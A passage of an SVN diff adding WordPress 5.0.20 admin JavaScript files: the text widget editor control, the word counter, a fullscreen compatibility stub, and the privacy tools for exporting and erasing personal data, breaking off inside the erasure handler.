+/* eslint consistent-this: [ "error", "control" ] */
+wp.textWidgets = ( function( $ ) {
+	'use strict';
+
+	var component = {
+		dismissedPointers: [],
+		idBases: [ 'text' ]
+	};
+
+	/**
+	 * Text widget control.
+	 *
+	 * @class TextWidgetControl
+	 * @constructor
+	 * @abstract
+	 */
+	component.TextWidgetControl = Backbone.View.extend({
+
+		/**
+		 * View events.
+		 *
+		 * @type {Object}
+		 */
+		events: {},
+
+		/**
+		 * Initialize.
+		 *
+		 * @param {Object} options - Options.
+		 * @param {jQuery} options.el - Control field container element.
+		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
+		 * @returns {void}
+		 */
+		initialize: function initialize( options ) {
+			var control = this;
+
+			if ( ! options.el ) {
+				throw new Error( 'Missing options.el' );
+			}
+			if ( ! options.syncContainer ) {
+				throw new Error( 'Missing options.syncContainer' );
+			}
+
+			Backbone.View.prototype.initialize.call( control, options );
+			control.syncContainer = options.syncContainer;
+
+			control.$el.addClass( 'text-widget-fields' );
+			control.$el.html( wp.template( 'widget-text-control-fields' ) );
+
+			control.customHtmlWidgetPointer = control.$el.find( '.wp-pointer.custom-html-widget-pointer' );
+			if ( control.customHtmlWidgetPointer.length ) {
+				control.customHtmlWidgetPointer.find( '.close' ).on( 'click', function( event ) {
+					event.preventDefault();
+					control.customHtmlWidgetPointer.hide();
+					$( '#' + control.fields.text.attr( 'id' ) + '-html' ).focus();
+					control.dismissPointers( [ 'text_widget_custom_html' ] );
+				});
+				control.customHtmlWidgetPointer.find( '.add-widget' ).on( 'click', function( event ) {
+					event.preventDefault();
+					control.customHtmlWidgetPointer.hide();
+					control.openAvailableWidgetsPanel();
+				});
+			}
+
+			control.pasteHtmlPointer = control.$el.find( '.wp-pointer.paste-html-pointer' );
+			if ( control.pasteHtmlPointer.length ) {
+				control.pasteHtmlPointer.find( '.close' ).on( 'click', function( event ) {
+					event.preventDefault();
+					control.pasteHtmlPointer.hide();
+					control.editor.focus();
+					control.dismissPointers( [ 'text_widget_custom_html', 'text_widget_paste_html' ] );
+				});
+			}
+
+			control.fields = {
+				title: control.$el.find( '.title' ),
+				text: control.$el.find( '.text' )
+			};
+
+			// Sync input fields to hidden sync fields which actually get sent to the server.
+			_.each( control.fields, function( fieldInput, fieldName ) {
+				fieldInput.on( 'input change', function updateSyncField() {
+					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
+					if ( syncInput.val() !== fieldInput.val() ) {
+						syncInput.val( fieldInput.val() );
+						syncInput.trigger( 'change' );
+					}
+				});
+
+				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
+				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
+			});
+		},
+
+		/**
+		 * Dismiss pointers for Custom HTML widget.
+		 *
+		 * @since 4.8.1
+		 *
+		 * @param {Array} pointers Pointer IDs to dismiss.
+		 * @returns {void}
+		 */
+		dismissPointers: function dismissPointers( pointers ) {
+			_.each( pointers, function( pointer ) {
+				wp.ajax.post( 'dismiss-wp-pointer', {
+					pointer: pointer
+				});
+				component.dismissedPointers.push( pointer );
+			});
+		},
+
+		/**
+		 * Open available widgets panel.
+		 *
+		 * @since 4.8.1
+		 * @returns {void}
+		 */
+		openAvailableWidgetsPanel: function openAvailableWidgetsPanel() {
+			var sidebarControl;
+			wp.customize.section.each( function( section ) {
+				if ( section.extended( wp.customize.Widgets.SidebarSection ) && section.expanded() ) {
+					sidebarControl = wp.customize.control( 'sidebars_widgets[' + section.params.sidebarId + ']' );
+				}
+			});
+			if ( ! sidebarControl ) {
+				return;
+			}
+			setTimeout( function() { // Timeout to prevent click event from causing panel to immediately collapse.
+				wp.customize.Widgets.availableWidgetsPanel.open( sidebarControl );
+				wp.customize.Widgets.availableWidgetsPanel.$search.val( 'HTML' ).trigger( 'keyup' );
+			});
+		},
+
+		/**
+		 * Update input fields from the sync fields.
+		 *
+		 * This function is called at the widget-updated and widget-synced events.
+		 * A field will only be updated if it is not currently focused, to avoid
+		 * overwriting content that the user is entering.
+		 *
+		 * @returns {void}
+		 */
+		updateFields: function updateFields() {
+			var control = this, syncInput;
+
+			if ( ! control.fields.title.is( document.activeElement ) ) {
+				syncInput = control.syncContainer.find( '.sync-input.title' );
+				control.fields.title.val( syncInput.val() );
+			}
+
+			syncInput = control.syncContainer.find( '.sync-input.text' );
+			if ( control.fields.text.is( ':visible' ) ) {
+				if ( ! control.fields.text.is( document.activeElement ) ) {
+					control.fields.text.val( syncInput.val() );
+				}
+			} else if ( control.editor && ! control.editorFocused && syncInput.val() !== control.fields.text.val() ) {
+				control.editor.setContent( wp.editor.autop( syncInput.val() ) );
+			}
+		},
+
+		/**
+		 * Initialize editor.
+		 *
+		 * @returns {void}
+		 */
+		initializeEditor: function initializeEditor() {
+			var control = this, changeDebounceDelay = 1000, id, textarea, triggerChangeIfDirty, restoreTextMode = false, needsTextareaChangeTrigger = false, previousValue;
+			textarea = control.fields.text;
+			id = textarea.attr( 'id' );
+			previousValue = textarea.val();
+
+			/**
+			 * Trigger change if dirty.
+			 *
+			 * @returns {void}
+			 */
+			triggerChangeIfDirty = function() {
+				var updateWidgetBuffer = 300; // See wp.customize.Widgets.WidgetControl._setupUpdateUI() which uses 250ms for updateWidgetDebounced.
+				if ( control.editor.isDirty() ) {
+
+					/*
+					 * Account for race condition in customizer where user clicks Save & Publish while
+					 * focus was just previously given to the editor. Since updates to the editor
+					 * are debounced at 1 second and since widget input changes are only synced to
+					 * settings after 250ms, the customizer needs to be put into the processing
+					 * state during the time between the change event is triggered and updateWidget
+					 * logic starts. Note that the debounced update-widget request should be able
+					 * to be removed with the removal of the update-widget request entirely once
+					 * widgets are able to mutate their own instance props directly in JS without
+					 * having to make server round-trips to call the respective WP_Widget::update()
+					 * callbacks. See <https://core.trac.wordpress.org/ticket/33507>.
+					 */
+					if ( wp.customize && wp.customize.state ) {
+						wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() + 1 );
+						_.delay( function() {
+							wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() - 1 );
+						}, updateWidgetBuffer );
+					}
+
+					if ( ! control.editor.isHidden() ) {
+						control.editor.save();
+					}
+				}
+
+				// Trigger change on textarea when it has changed so the widget can enter a dirty state.
+				if ( needsTextareaChangeTrigger && previousValue !== textarea.val() ) {
+					textarea.trigger( 'change' );
+					needsTextareaChangeTrigger = false;
+					previousValue = textarea.val();
+				}
+			};
+
+			// Just-in-time force-update the hidden input fields.
+			control.syncContainer.closest( '.widget' ).find( '[name=savewidget]:first' ).on( 'click', function onClickSaveButton() {
+				triggerChangeIfDirty();
+			});
+
+			/**
+			 * Build (or re-build) the visual editor.
+			 *
+			 * @returns {void}
+			 */
+			function buildEditor() {
+				var editor, onInit, showPointerElement;
+
+				// Abort building if the textarea is gone, likely due to the widget having been deleted entirely.
+				if ( ! document.getElementById( id ) ) {
+					return;
+				}
+
+				// The user has disabled TinyMCE.
+				if ( typeof window.tinymce === 'undefined' ) {
+					wp.editor.initialize( id, {
+						quicktags: true,
+						mediaButtons: true
+					});
+
+					return;
+				}
+
+				// Destroy any existing editor so that it can be re-initialized after a widget-updated event.
+				if ( tinymce.get( id ) ) {
+					restoreTextMode = tinymce.get( id ).isHidden();
+					wp.editor.remove( id );
+				}
+
+				// Add or enable the `wpview` plugin.
+				$( document ).one( 'wp-before-tinymce-init.text-widget-init', function( event, init ) {
+					// If somebody has removed all plugins, they must have a good reason.
+					// Keep it that way.
+					if ( ! init.plugins ) {
+						return;
+					} else if ( ! /\bwpview\b/.test( init.plugins ) ) {
+						init.plugins += ',wpview';
+					}
+				} );
+
+				wp.editor.initialize( id, {
+					tinymce: {
+						wpautop: true
+					},
+					quicktags: true,
+					mediaButtons: true
+				});
+
+				/**
+				 * Show a pointer, focus on dismiss, and speak the contents for a11y.
+				 *
+				 * @param {jQuery} pointerElement Pointer element.
+				 * @returns {void}
+				 */
+				showPointerElement = function( pointerElement ) {
+					pointerElement.show();
+					pointerElement.find( '.close' ).focus();
+					wp.a11y.speak( pointerElement.find( 'h3, p' ).map( function() {
+						return $( this ).text();
+					} ).get().join( '\n\n' ) );
+				};
+
+				editor = window.tinymce.get( id );
+				if ( ! editor ) {
+					throw new Error( 'Failed to initialize editor' );
+				}
+				onInit = function() {
+
+					// When a widget is moved in the DOM the dynamically-created TinyMCE iframe will be destroyed and has to be re-built.
+					$( editor.getWin() ).on( 'unload', function() {
+						_.defer( buildEditor );
+					});
+
+					// If a prior mce instance was replaced, and it was in text mode, toggle to text mode.
+					if ( restoreTextMode ) {
+						switchEditors.go( id, 'html' );
+					}
+
+					// Show the pointer.
+					$( '#' + id + '-html' ).on( 'click', function() {
+						control.pasteHtmlPointer.hide(); // Hide the HTML pasting pointer.
+
+						if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_custom_html' ) ) {
+							return;
+						}
+						showPointerElement( control.customHtmlWidgetPointer );
+					});
+
+					// Hide the pointer when switching tabs.
+					$( '#' + id + '-tmce' ).on( 'click', function() {
+						control.customHtmlWidgetPointer.hide();
+					});
+
+					// Show pointer when pasting HTML.
+					editor.on( 'pastepreprocess', function( event ) {
+						var content = event.content;
+						if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_paste_html' ) || ! content || ! /&lt;\w+.*?&gt;/.test( content ) ) {
+							return;
+						}
+
+						// Show the pointer after a slight delay so the user sees what they pasted.
+						_.delay( function() {
+							showPointerElement( control.pasteHtmlPointer );
+						}, 250 );
+					});
+				};
+
+				if ( editor.initialized ) {
+					onInit();
+				} else {
+					editor.on( 'init', onInit );
+				}
+
+				control.editorFocused = false;
+
+				editor.on( 'focus', function onEditorFocus() {
+					control.editorFocused = true;
+				});
+				editor.on( 'paste', function onEditorPaste() {
+					editor.setDirty( true ); // Because pasting doesn't currently set the dirty state.
+					triggerChangeIfDirty();
+				});
+				editor.on( 'NodeChange', function onNodeChange() {
+					needsTextareaChangeTrigger = true;
+				});
+				editor.on( 'NodeChange', _.debounce( triggerChangeIfDirty, changeDebounceDelay ) );
+				editor.on( 'blur hide', function onEditorBlur() {
+					control.editorFocused = false;
+					triggerChangeIfDirty();
+				});
+
+				control.editor = editor;
+			}
+
+			buildEditor();
+		}
+	});
+
+	/**
+	 * Mapping of widget ID to instances of TextWidgetControl subclasses.
+	 *
+	 * @type {Object.<string, wp.textWidgets.TextWidgetControl>}
+	 */
+	component.widgetControls = {};
+
+	/**
+	 * Handle widget being added or initialized for the first time at the widget-added event.
+	 *
+	 * @param {jQuery.Event} event - Event.
+	 * @param {jQuery}       widgetContainer - Widget container element.
+	 * @returns {void}
+	 */
+	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
+		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
+		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.
+
+		idBase = widgetForm.find( '> .id_base' ).val();
+		if ( -1 === component.idBases.indexOf( idBase ) ) {
+			return;
+		}
+
+		// Prevent initializing already-added widgets.
+		widgetId = widgetForm.find( '.widget-id' ).val();
+		if ( component.widgetControls[ widgetId ] ) {
+			return;
+		}
+
+		// Bypass using TinyMCE when widget is in legacy mode.
+		if ( ! widgetForm.find( '.visual' ).val() ) {
+			return;
+		}
+
+		/*
+		 * Create a container element for the widget control fields.
+		 * This is inserted into the DOM immediately before the .widget-content
+		 * element because the contents of this element are essentially "managed"
+		 * by PHP, where each widget update cause the entire element to be emptied
+		 * and replaced with the rendered output of WP_Widget::form() which is
+		 * sent back in Ajax request made to save/update the widget instance.
+		 * To prevent a "flash of replaced DOM elements and re-initialized JS
+		 * components", the JS template is rendered outside of the normal form
+		 * container.
+		 */
+		fieldContainer = $( '<div></div>' );
+		syncContainer = widgetContainer.find( '.widget-content:first' );
+		syncContainer.before( fieldContainer );
+
+		widgetControl = new component.TextWidgetControl({
+			el: fieldContainer,
+			syncContainer: syncContainer
+		});
+
+		component.widgetControls[ widgetId ] = widgetControl;
+
+		/*
+		 * Render the widget once the widget parent's container finishes animating,
+		 * as the widget-added event fires with a slideDown of the container.
+		 * This ensures that the textarea is visible and an iframe can be embedded
+		 * with TinyMCE being able to set contenteditable on it.
+		 */
+		renderWhenAnimationDone = function() {
+			if ( ! widgetContainer.hasClass( 'open' ) ) {
+				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
+			} else {
+				widgetControl.initializeEditor();
+			}
+		};
+		renderWhenAnimationDone();
+	};
+
+	/**
+	 * Setup widget in accessibility mode.
+	 *
+	 * @returns {void}
+	 */
+	component.setupAccessibleMode = function setupAccessibleMode() {
+		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
+		widgetForm = $( '.editwidget > form' );
+		if ( 0 === widgetForm.length ) {
+			return;
+		}
+
+		idBase = widgetForm.find( '> .widget-control-actions > .id_base' ).val();
+		if ( -1 === component.idBases.indexOf( idBase ) ) {
+			return;
+		}
+
+		// Bypass using TinyMCE when widget is in legacy mode.
+		if ( ! widgetForm.find( '.visual' ).val() ) {
+			return;
+		}
+
+		fieldContainer = $( '<div></div>' );
+		syncContainer = widgetForm.find( '> .widget-inside' );
+		syncContainer.before( fieldContainer );
+
+		widgetControl = new component.TextWidgetControl({
+			el: fieldContainer,
+			syncContainer: syncContainer
+		});
+
+		widgetControl.initializeEditor();
+	};
+
+	/**
+	 * Sync widget instance data sanitized from server back onto widget model.
+	 *
+	 * This gets called via the 'widget-updated' event when saving a widget from
+	 * the widgets admin screen and also via the 'widget-synced' event when making
+	 * a change to a widget in the customizer.
+	 *
+	 * @param {jQuery.Event} event - Event.
+	 * @param {jQuery}       widgetContainer - Widget container element.
+	 * @returns {void}
+	 */
+	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
+		var widgetForm, widgetId, widgetControl, idBase;
+		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );
+
+		idBase = widgetForm.find( '> .id_base' ).val();
+		if ( -1 === component.idBases.indexOf( idBase ) ) {
+			return;
+		}
+
+		widgetId = widgetForm.find( '> .widget-id' ).val();
+		widgetControl = component.widgetControls[ widgetId ];
+		if ( ! widgetControl ) {
+			return;
+		}
+
+		widgetControl.updateFields();
+	};
+
+	/**
+	 * Initialize functionality.
+	 *
+	 * This function exists to prevent the JS file from having to boot itself.
+	 * When WordPress enqueues this script, it should have an inline script
+	 * attached which calls wp.textWidgets.init().
+	 *
+	 * @returns {void}
+	 */
+	component.init = function init() {
+		var $document = $( document );
+		$document.on( 'widget-added', component.handleWidgetAdded );
+		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );
+
+		/*
+		 * Manually trigger widget-added events for media widgets on the admin
+		 * screen once they are expanded. The widget-added event is not triggered
+		 * for each pre-existing widget on the widgets admin screen like it is
+		 * on the customizer. Likewise, the customizer only triggers widget-added
+		 * when the widget is expanded to just-in-time construct the widget form
+		 * when it is actually going to be displayed. So the following implements
+		 * the same for the widgets admin screen, to invoke the widget-added
+		 * handler when a pre-existing media widget is expanded.
+		 */
+		$( function initializeExistingWidgetContainers() {
+			var widgetContainers;
+			if ( 'widgets' !== window.pagenow ) {
+				return;
+			}
+			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
+			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
+				var widgetContainer = $( this );
+				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
+			});
+
+			// Accessibility mode.
+			$( window ).on( 'load', function() {
+				component.setupAccessibleMode();
+			});
+		});
+	};
+
+	return component;
+})( jQuery );
Index: /tags/5.0.20/src/wp-admin/js/word-count.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/word-count.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/word-count.js	(revision 56912)
@@ -0,0 +1,220 @@
+/**
+ * Word or character counting functionality. Count words or characters in a provided text string.
+ *
+ * @summary   Count words or characters in a text.
+ *
+ * @namespace wp.utils
+ * @since     2.6.0
+ */
+
+( function() {
+	/**
+	 * Word counting utility
+	 *
+	 * @namespace wp.utils.wordcounter
+	 * @memberof  wp.utils
+	 *
+	 * @class
+	 *
+	 * @param {Object} settings                                   Optional. Key-value object containing overrides for
+	 *                                                            settings.
+	 * @param {RegExp} settings.HTMLRegExp                        Optional. Regular expression to find HTML elements.
+	 * @param {RegExp} settings.HTMLcommentRegExp                 Optional. Regular expression to find HTML comments.
+	 * @param {RegExp} settings.spaceRegExp                       Optional. Regular expression to find irregular space
+	 *                                                            characters.
+	 * @param {RegExp} settings.HTMLEntityRegExp                  Optional. Regular expression to find HTML entities.
+	 * @param {RegExp} settings.connectorRegExp                   Optional. Regular expression to find connectors that
+	 *                                                            split words.
+	 * @param {RegExp} settings.removeRegExp                      Optional. Regular expression to find remove unwanted
+	 *                                                            characters to reduce false-positives.
+	 * @param {RegExp} settings.astralRegExp                      Optional. Regular expression to find unwanted
+	 *                                                            characters when searching for non-words.
+	 * @param {RegExp} settings.wordsRegExp                       Optional. Regular expression to find words by spaces.
+	 * @param {RegExp} settings.characters_excluding_spacesRegExp Optional. Regular expression to find characters which
+	 *                                                            are non-spaces.
+	 * @param {RegExp} settings.characters_including_spacesRegExp Optional. Regular expression to find characters
+	 *                                                            including spaces.
+	 * @param {RegExp} settings.shortcodesRegExp                  Optional. Regular expression to find shortcodes.
+	 * @param {Object} settings.l10n                              Optional. Localization object containing specific
+	 *                                                            configuration for the current localization.
+	 * @param {String} settings.l10n.type                         Optional. Method of finding words to count.
+	 * @param {Array}  settings.l10n.shortcodes                   Optional. Array of shortcodes that should be removed
+	 *                                                            from the text.
+	 *
+	 * @return void
+	 */
+	function WordCounter( settings ) {
+		var key,
+			shortcodes;
+
+		// Apply provided settings to object settings.
+		if ( settings ) {
+			for ( key in settings ) {
+
+				// Only apply valid settings.
+				if ( settings.hasOwnProperty( key ) ) {
+					this.settings[ key ] = settings[ key ];
+				}
+			}
+		}
+
+		shortcodes = this.settings.l10n.shortcodes;
+
+		// If there are any localization shortcodes, add this as type in the settings.
+		if ( shortcodes && shortcodes.length ) {
+			this.settings.shortcodesRegExp = new RegExp( '\\[\\/?(?:' + shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' );
+		}
+	}
+
+	// Default settings.
+	WordCounter.prototype.settings = {
+		HTMLRegExp: /<\/?[a-z][^>]*?>/gi,
+		HTMLcommentRegExp: /<!--[\s\S]*?-->/g,
+		spaceRegExp: /&nbsp;|&#160;/gi,
+		HTMLEntityRegExp: /&\S+?;/g,
+
+		// \u2014 = em-dash
+		connectorRegExp: /--|\u2014/g,
+
+		// Characters to be removed from input text.
+		removeRegExp: new RegExp( [
+			'[',
+
+				// Basic Latin (extract)
+				'\u0021-\u0040\u005B-\u0060\u007B-\u007E',
+
+				// Latin-1 Supplement (extract)
+				'\u0080-\u00BF\u00D7\u00F7',
+
+				/*
+				 * The following range consists of:
+				 * General Punctuation
+				 * Superscripts and Subscripts
+				 * Currency Symbols
+				 * Combining Diacritical Marks for Symbols
+				 * Letterlike Symbols
+				 * Number Forms
+				 * Arrows
+				 * Mathematical Operators
+				 * Miscellaneous Technical
+				 * Control Pictures
+				 * Optical Character Recognition
+				 * Enclosed Alphanumerics
+				 * Box Drawing
+				 * Block Elements
+				 * Geometric Shapes
+				 * Miscellaneous Symbols
+				 * Dingbats
+				 * Miscellaneous Mathematical Symbols-A
+				 * Supplemental Arrows-A
+				 * Braille Patterns
+				 * Supplemental Arrows-B
+				 * Miscellaneous Mathematical Symbols-B
+				 * Supplemental Mathematical Operators
+				 * Miscellaneous Symbols and Arrows
+				 */
+				'\u2000-\u2BFF',
+
+				// Supplemental Punctuation
+				'\u2E00-\u2E7F',
+			']'
+		].join( '' ), 'g' ),
+
+		// Remove UTF-16 surrogate points, see https://en.wikipedia.org/wiki/UTF-16#U.2BD800_to_U.2BDFFF
+		astralRegExp: /[\uD800-\uDBFF][\uDC00-\uDFFF]/g,
+		wordsRegExp: /\S\s+/g,
+		characters_excluding_spacesRegExp: /\S/g,
+
+		/*
+		 * Match anything that is not a formatting character, excluding:
+		 * \f = form feed
+		 * \n = new line
+		 * \r = carriage return
+		 * \t = tab
+		 * \v = vertical tab
+		 * \u00AD = soft hyphen
+		 * \u2028 = line separator
+		 * \u2029 = paragraph separator
+		 */
+		characters_including_spacesRegExp: /[^\f\n\r\t\v\u00AD\u2028\u2029]/g,
+		l10n: window.wordCountL10n || {}
+	};
+
+	/**
+	 * Counts the number of words (or other specified type) in the specified text.
+	 *
+	 * @summary  Count the number of elements in a text.
+	 *
+	 * @since    2.6.0
+	 * @memberof wp.utils.wordcounter
+	 *
+	 * @param {String}  text Text to count elements in.
+	 * @param {String}  type Optional. Specify type to use.
+	 *
+	 * @return {Number} The number of items counted.
+	 */
+	WordCounter.prototype.count = function( text, type ) {
+		var count = 0;
+
+		// Use default type if none was provided.
+		type = type || this.settings.l10n.type;
+
+		// Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'.
+		if ( type !== 'characters_excluding_spaces' && type !== 'characters_including_spaces' ) {
+			type = 'words';
+		}
+
+		// If we have any text at all.
+		if ( text ) {
+			text = text + '\n';
+
+			// Replace all HTML with a new-line.
+			text = text.replace( this.settings.HTMLRegExp, '\n' );
+
+			// Remove all HTML comments.
+			text = text.replace( this.settings.HTMLcommentRegExp, '' );
+
+			// If a shortcode regular expression has been provided use it to remove shortcodes.
+			if ( this.settings.shortcodesRegExp ) {
+				text = text.replace( this.settings.shortcodesRegExp, '\n' );
+			}
+
+			// Normalize non-breaking space to a normal space.
+			text = text.replace( this.settings.spaceRegExp, ' ' );
+
+			if ( type === 'words' ) {
+
+				// Remove HTML Entities.
+				text = text.replace( this.settings.HTMLEntityRegExp, '' );
+
+				// Convert connectors to spaces to count attached text as words.
+				text = text.replace( this.settings.connectorRegExp, ' ' );
+
+				// Remove unwanted characters.
+				text = text.replace( this.settings.removeRegExp, '' );
+			} else {
+
+				// Convert HTML Entities to "a".
+				text = text.replace( this.settings.HTMLEntityRegExp, 'a' );
+
+				// Remove surrogate points.
+				text = text.replace( this.settings.astralRegExp, 'a' );
+			}
+
+			// Match with the selected type regular expression to count the items.
+			text = text.match( this.settings[ type + 'RegExp' ] );
+
+			// If we have any matches, set the count to the number of items found.
+			if ( text ) {
+				count = text.length;
+			}
+		}
+
+		return count;
+	};
+
+	// Add the WordCounter to the WP Utils.
+	window.wp = window.wp || {};
+	window.wp.utils = window.wp.utils || {};
+	window.wp.utils.WordCounter = WordCounter;
+} )();
Index: /tags/5.0.20/src/wp-admin/js/wp-fullscreen-stub.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/wp-fullscreen-stub.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/wp-fullscreen-stub.js	(revision 56912)
@@ -0,0 +1,39 @@
+/**
+ * Distraction-Free Writing (wp-fullscreen) backward compatibility stub.
+ * Todo: remove at the end of 2016.
+ *
+ * Original was deprecated in 4.1, removed in 4.3.
+ */
+( function() {
+	var noop = function(){};
+
+	window.wp = window.wp || {};
+	window.wp.editor = window.wp.editor || {};
+	window.wp.editor.fullscreen = {
+		bind_resize: noop,
+		dfwWidth: noop,
+		off: noop,
+		on: noop,
+		refreshButtons: noop,
+		resizeTextarea: noop,
+		save: noop,
+		switchmode: noop,
+		toggleUI: noop,
+
+		settings: {},
+		pubsub: {
+			publish: noop,
+			subscribe: noop,
+			unsubscribe: noop,
+			topics: {}
+		},
+		fade: {
+			In: noop,
+			Out: noop
+		},
+		ui: {
+			fade: noop,
+			init: noop
+		}
+	};
+}());
Index: /tags/5.0.20/src/wp-admin/js/xfn.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/xfn.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/xfn.js	(revision 56912)
@@ -0,0 +1,273 @@
+jQuery( document ).ready(function( $ ) {
+	$( '#link_rel' ).prop( 'readonly', true );
+	$( '#linkxfndiv input' ).bind( 'click keyup', function() {
+		var isMe = $( '#me' ).is( ':checked' ), inputs = '';
+		$( 'input.valinp' ).each( function() {
+			if ( isMe ) {
+				$( this ).prop( 'disabled', true ).parent().addClass( 'disabled' );
+			} else {
+				$( this ).removeAttr( 'disabled' ).parent().removeClass( 'disabled' );
+				if ( $( this ).is( ':checked' ) && $( this ).val() !== '') {
+					inputs += $( this ).val() + ' ';
+				}
+			}
+		});
+		$( '#link_rel' ).val( ( isMe ) ? 'me' : inputs.substr( 0,inputs.length - 1 ) );
+	});
+});
+
+// Privacy request action handling
+jQuery( document ).ready( function( $ ) {
+	var strings = window.privacyToolsL10n || {};
+
+	function setActionState( $action, state ) {
+		$action.children().hide();
+		$action.children( '.' + state ).show();
+	}
+
+	function clearResultsAfterRow( $requestRow ) {
+		$requestRow.removeClass( 'has-request-results' );
+
+		if ( $requestRow.next().hasClass( 'request-results' ) ) {
+			$requestRow.next().remove();
+		}
+	}
+
+	function appendResultsAfterRow( $requestRow, classes, summaryMessage, additionalMessages ) {
+		var itemList = '',
+			resultRowClasses = 'request-results';
+
+		clearResultsAfterRow( $requestRow );
+
+		if ( additionalMessages.length ) {
+			$.each( additionalMessages, function( index, value ) {
+				itemList = itemList + '<li>' + value + '</li>';
+			});
+			itemList = '<ul>' + itemList + '</ul>';
+		}
+
+		$requestRow.addClass( 'has-request-results' );
+
+		if ( $requestRow.hasClass( 'status-request-confirmed' ) ) {
+			resultRowClasses = resultRowClasses + ' status-request-confirmed';
+		}
+
+		if ( $requestRow.hasClass( 'status-request-failed' ) ) {
+			resultRowClasses = resultRowClasses + ' status-request-failed';
+		}
+
+		$requestRow.after( function() {
+			return '<tr class="' + resultRowClasses + '"><th colspan="5">' +
+				'<div class="notice inline notice-alt ' + classes + '">' +
+				'<p>' + summaryMessage + '</p>' +
+				itemList +
+				'</div>' +
+				'</td>' +
+				'</tr>';
+		});
+	}
+
+	$( '.export-personal-data-handle' ).click( function( event ) {
+
+		var $this          = $( this ),
+			$action        = $this.parents( '.export-personal-data' ),
+			$requestRow    = $this.parents( 'tr' ),
+			requestID      = $action.data( 'request-id' ),
+			nonce          = $action.data( 'nonce' ),
+			exportersCount = $action.data( 'exporters-count' ),
+			sendAsEmail    = $action.data( 'send-as-email' ) ? true : false;
+
+		event.preventDefault();
+		event.stopPropagation();
+
+		$action.blur();
+		clearResultsAfterRow( $requestRow );
+
+		function onExportDoneSuccess( zipUrl ) {
+			setActionState( $action, 'export-personal-data-success' );
+			if ( 'undefined' !== typeof zipUrl ) {
+				window.location = zipUrl;
+			} else if ( ! sendAsEmail ) {
+				onExportFailure( strings.noExportFile );
+			}
+		}
+
+		function onExportFailure( errorMessage ) {
+			setActionState( $action, 'export-personal-data-failed' );
+			if ( errorMessage ) {
+				appendResultsAfterRow( $requestRow, 'notice-error', strings.exportError, [ errorMessage ] );
+			}
+		}
+
+		function doNextExport( exporterIndex, pageIndex ) {
+			$.ajax(
+				{
+					url: window.ajaxurl,
+					data: {
+						action: 'wp-privacy-export-personal-data',
+						exporter: exporterIndex,
+						id: requestID,
+						page: pageIndex,
+						security: nonce,
+						sendAsEmail: sendAsEmail
+					},
+					method: 'post'
+				}
+			).done( function( response ) {
+				var responseData = response.data;
+
+				if ( ! response.success ) {
+
+					// e.g. invalid request ID
+					onExportFailure( response.data );
+					return;
+				}
+
+				if ( ! responseData.done ) {
+					setTimeout( doNextExport( exporterIndex, pageIndex + 1 ) );
+				} else {
+					if ( exporterIndex < exportersCount ) {
+						setTimeout( doNextExport( exporterIndex + 1, 1 ) );
+					} else {
+						onExportDoneSuccess( responseData.url );
+					}
+				}
+			}).fail( function( jqxhr, textStatus, error ) {
+
+				// e.g. Nonce failure
+				onExportFailure( error );
+			});
+		}
+
+		// And now, let's begin
+		setActionState( $action, 'export-personal-data-processing' );
+		doNextExport( 1, 1 );
+	});
+
+	$( '.remove-personal-data-handle' ).click( function( event ) {
+
+		var $this         = $( this ),
+			$action       = $this.parents( '.remove-personal-data' ),
+			$requestRow   = $this.parents( 'tr' ),
+			requestID     = $action.data( 'request-id' ),
+			nonce         = $action.data( 'nonce' ),
+			erasersCount  = $action.data( 'erasers-count' ),
+			hasRemoved    = false,
+			hasRetained   = false,
+			messages      = [];
+
+		event.stopPropagation();
+
+		$action.blur();
+		clearResultsAfterRow( $requestRow );
+
+		function onErasureDoneSuccess() {
+			var summaryMessage = strings.noDataFound;
+			var classes = 'notice-success';
+
+			setActionState( $action, 'remove-personal-data-idle' );
+
+			if ( false === hasRemoved ) {
+				if ( false === hasRetained ) {
+					summaryMessage = strings.noDataFound;
+				} else {
+					summaryMessage = strings.noneRemoved;
+					classes = 'notice-warning';
+				}
+			} else {
+				if ( false === hasRetained ) {
+					summaryMessage = strings.foundAndRemoved;
+				} else {
+					summaryMessage = strings.someNotRemoved;
+					classes = 'notice-warning';
+				}
+			}
+			appendResultsAfterRow( $requestRow, 'notice-success', summaryMessage, messages );
+		}
+
+		function onErasureFailure() {
+			setActionState( $action, 'remove-personal-data-failed' );
+			appendResultsAfterRow( $requestRow, 'notice-error', strings.removalError, [] );
+		}
+
+		function doNextErasure( eraserIndex, pageIndex ) {
+			$.ajax({
+				url: window.ajaxurl,
+				data: {
+					action: 'wp-privacy-erase-personal-data',
+					eraser: eraserIndex,
+					id: requestID,
+					page: pageIndex,
+					security: nonce
+				},
+				method: 'post'
+			}).done( function( response ) {
+				var responseData = response.data;
+
+				if ( ! response.success ) {
+					onErasureFailure();
+					return;
+				}
+				if ( responseData.items_removed ) {
+					hasRemoved = hasRemoved || responseData.items_removed;
+				}
